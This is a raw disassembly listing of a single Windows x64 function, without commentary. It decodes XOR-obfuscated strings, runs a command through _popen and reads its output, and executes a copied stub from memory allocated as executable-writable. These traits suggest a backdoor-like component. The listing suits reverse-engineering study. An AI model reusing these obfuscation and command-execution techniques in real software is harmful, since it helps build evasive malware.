mov eax, dword [0x14006fff8]
mov dword [rbp - 0x18], eax
movzx eax, word [0x14006fffc]
movups xmm0, xmmword [str._SCKQ]
mov word [rbp - 0x14], ax
movups xmmword [rbp - 0x30], xmm0
movzx eax, byte [0x14006fffe]
movsd xmm0, qword [0x14006fff0]
mov byte [rbp - 0x12], al
movsd qword [rbp - 0x20], xmm0
mov r8d, r15d
cmp r13d, 2
jl 0x14000c9cd
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rbp - 0x2c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000c8e2
cmp r8d, 0x1f
jge 0x14000ca10
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x14000c9e0
lea rax, [rbp - 0x30]
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000ca17
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r13, qword [rbp + 0x20]
sub rax, r13
cmp rax, rbx
jb 0x14000d932
lea r12, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r12, qword [rbp + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea r15, [rbx + r13]
mov edi, reloc.WS2_32.dll_ntohs
lea r14, [rbp - 0x80]
cmp r15, rdi
jbe 0x14000caea
mov rdi, r15
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000caa4
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14006d104
test rax, rax
je 0x14000cad7
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14000cae6
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000cabf
xor r14d, r14d
jmp 0x14000cae6
cmp rcx, 0x1000
jb 0x14000cade
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000d926
jmp 0x14000ca89
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d104
mov r14, rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], rdi
mov r8, rbx
lea rdx, [rbp - 0x30]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r14 + rbx]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
lea rax, [rsp + 0x38]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000cb20
lea rdx, [rsp + 0x38]
lea rcx, [rbp - 0x80]
call fcn.14001cdd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
xor r15d, r15d
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r15b
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000cbac
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cba7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cba7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
movdqa xmm0, xmmword [0x140070b20]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
movzx eax, word [0x14007000c]
mov word [rsp + 0x30], ax
cmp byte [0x14007000d], 0
je 0x14000cbdc
mov byte [rsp + 0x30], WSAStartup
xor byte [rsp + 0x31], 0x36
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rcx, qword [rbp + 0x70]
lea rdx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x14000d233
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x30], 0
mov r8, rax
mov edx, 0x80
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x14000ccd6
nop word [rax + rax]
lea rax, [rbp + 0x1c0]
mov rdi, rsi
nop word [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x14000cc50
mov rcx, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000cc9c
lea rax, [rdi + rcx]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rdx, 0xf
cmova rbx, qword [rbp - 0x30]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp + 0x1c0]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
jmp 0x14000ccb7
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x1c0]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp - 0x30]
call fcn.1400029c0
mov r8, qword [rbp - 0x40]
mov edx, 0x80
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x14000cc40
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea r14, [rbp + 0x2c8]
movabs rax, 0xff00ff00ff00ff00
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], r14
mov rbx, qword [r14]
xor rbx, rax
mov qword [rsp + 0x60], rbx
mov qword [r14], r15
mov ecx, r15d
mov rax, qword [0x14008da30]
lea rdi, [0x140000000]
lea r12, [0x140001620]
test rax, rax
je 0x14000cd50
mov rdx, r15
cmp rax, r12
je 0x14000cd3f
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x8da30]
test rax, rax
jne 0x14000cd27
jmp 0x14000cd50
mov r8, qword [rdi + rdx*8 + 0x8dd50]
test r8, r8
jne 0x14000ce3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000cd79
mov r8, r15
jmp 0x14000ce1e
mov rax, r12
mov rcx, r8
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000cd90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14008da20]
mov qword [rdi + rax*8 + 0x8da30], r12
mov qword [rdi + rax*8 + 0x8dd50], r8
inc rax
mov qword [0x14008da20], rax
lea rdx, [rbp - 0x40]
mov rcx, qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
call r8
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
mov qword [r14], rbx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], rax
movups xmm0, xmmword [0x140070010]
movups xmmword [rsp + 0x38], xmm0
mov eax, dword [str.6lofbcK]
mov dword [rsp + 0x48], eax
movzx eax, word [0x140070024]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x140070026]
mov byte [rsp + 0x4e], al
mov r8d, r15d
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x14000cfbb
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x3c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000ced0
cmp r8d, 0x17
jge 0x14000d000
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x17
jl 0x14000cfd0
mov r8d, 1
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x90]
call fcn.140004640
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0xe0], r15
mov byte [rbp + 0xe8], 0
movdqu xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
mov qword [rbp + 0x110], r15
mov byte [rbp + 0x118], 0
movdqu xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x130], 0
mov qword [rbp + 0x138], r15
mov qword [rbp + 0x140], r15
mov byte [rbp + 0x148], 0
lea r10, [rbp - 0x30]
mov r9, qword [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova r10, r9
lea rcx, [rbp - 0x30]
cmova rcx, r9
mov rdx, qword [rbp - 0x20]
add rdx, rcx
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rcx, r9
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x90]
lea r8, [rbp + 0xe0]
call fcn.140002fa0
test al, al
je 0x14000d166
mov rcx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0xf0]
sub rcx, r8
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 1
jbe 0x14000d166
lea rcx, [r8 + 0x18]
lea rdx, [rbp - 0x80]
call fcn.14001e370
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.140005190
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000d166
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d160
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d160
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
nop
lea rcx, [rbp + 0xf0]
call fcn.140004f80
nop
mov rcx, qword [rbp + 0x90]
test rcx, rcx
je 0x14000d1c0
mov eax, esi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x14000d1bc
mov rbx, qword [rbp + 0x90]
test rbx, rbx
je 0x14000d1bc
nop word [rax + rax]
mov rcx, rbx
lea rax, [rbx + 0x10]
mov rbx, qword [rax]
mov qword [rax], r15
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
test rbx, rbx
jne 0x14000d1a0
mov r13, qword [rbp + 0x20]
mov qword [rbp + 0x90], r15
mov rcx, qword [rbp + 0xb0]
test rcx, rcx
je 0x14000d1ec
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rax
test rax, rax
je 0x14000d1ec
mov rax, qword [rax]
mov edx, 1
call qword [rax]
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14000d3de
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d229
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d229
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
jmp 0x14000d3de
movups xmm0, xmmword [0x140070028]
movups xmmword [rsp + 0x38], xmm0
movsd xmm0, qword [0x140070038]
movsd qword [rsp + 0x48], xmm0
mov eax, dword [0x140070040]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x140070044]
mov byte [rsp + 0x54], al
mov ecx, r15d
mov edi, dword [reloc.WS2_32.dll_accept]
cmp edi, 2
jl 0x14000d378
movdqa xmmword [rsp + 0x60], xmm10
lea rdx, [rsp + 0x3c]
mov r8d, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x18
jl 0x14000d290
cmp ecx, 0x1d
jge 0x14000d3bc
movsxd rax, ecx
lea r8, [rsp + 0x38]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
sub al, dl
add al, 0x35
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x1d
jl 0x14000d390
lea rdx, [rsp + 0x38]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400012a0
lea rdx, [0x140003d50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14000d41f
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d41a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d41a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
movabs r11, 0x8000000000000000
movabs r10, 0x7fffffffffffffff
movups xmm0, xmmword [str._xRLNUIW]
movups xmmword [rsp + 0x38], xmm0
mov eax, dword [0x140070058]
mov dword [rsp + 0x48], eax
movzx eax, byte [0x14007005c]
mov byte [rsp + 0x4c], al
mov r8d, r15d
cmp edi, 2
jl 0x14000d55b
movdqa xmmword [rsp + 0x60], xmm10
lea rcx, [rsp + 0x3c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000d470
cmp r8d, 0x15
jge 0x14000d5a0
movsxd rax, r8d
lea r9, [rsp + 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x14000d570
lea rax, [rsp + 0x38]
mov rbx, rsi
nop dword [rax + rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000d5b0
mov rax, r10
sub rax, r13
cmp rax, rbx
jb 0x14000d920
lea r12, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova r12, qword [rbp + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea r15, [rbx + r13]
mov edi, reloc.WS2_32.dll_ntohs
lea r14, [rbp - 0x80]
cmp r15, rdi
jbe 0x14000d67b
mov rdi, r15
or rdi, 0xf
cmp rdi, r10
jbe 0x14000d63c
mov rdi, r10
lea rax, [r11 + 0x27]
mov rcx, rax
call fcn.14006d104
test rax, rax
je 0x14000d726
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x14000d677
mov r13, qword [rbp + 0x20]
mov edi, dword [reloc.WS2_32.dll_accept]
jmp 0x14000d433
cmp rdi, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000d657
xor r14d, r14d
jmp 0x14000d677
cmp rcx, 0x1000
jb 0x14000d66f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000d92c
jmp 0x14000d60e
call fcn.14006d104
mov r14, rax
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], rdi
mov r8, r13
mov rdx, r12
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r14 + r13]
mov r8, rbx
lea rdx, [rsp + 0x38]
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r15], 0
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
mov r8, qword [rbp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.14001cdd0
xorps xmm0, xmm0
mov rdi, qword [rbp - 0x60]
movups xmmword [rdi], xmm0
xor r14d, r14d
mov qword [rdi + 0x10], r14
mov qword [rdi + 0x18], r14
movups xmm0, xmmword [rax]
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdi + 0x10], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r14b
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000d732
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d72d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d72d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
movdqa xmm0, xmmword [0x140070b20]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000d782
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d77c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d77c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
nop
mov rax, qword [rbp + 0x28]
cmp rax, 0xf
jbe 0x14000d7c2
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d7bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d7bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
nop
lea rcx, [rbp + 0x160]
call fcn.140004f80
nop
mov rax, qword [rbp + 0xb8]
test rax, rax
je 0x14000d81c
lock xadd dword [rax + 0x2c], esi
cmp esi, 1
jne 0x14000d81c
mov rbx, qword [rbp + 0xb8]
test rbx, rbx
je 0x14000d81c
nop dword [rax]
nop word [rax + rax]
mov rcx, rbx
lea rax, [rbx + 0x10]
mov rbx, qword [rax]
mov qword [rax], r14
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
test rbx, rbx
jne 0x14000d800
mov qword [rbp + 0xb8], r14
mov rcx, qword [rbp + 0xd8]
test rcx, rcx
je 0x14000d848
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rax
test rax, rax
je 0x14000d848
mov rax, qword [rax]
mov edx, 1
call qword [rax]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0xf
jbe 0x14000d886
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d881
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d881
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
mov qword [rbp], r14
mov qword [rbp + 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x10], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x14000d8d4
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000d8cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000d8cf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006d140
mov rax, rdi
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.14006d500
lea r11, [rsp + 0x3a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001cd90
nop
call fcn.14001c8a0
int3
call fcn.14001c8a0
int3
call fcn.14001cd90
int3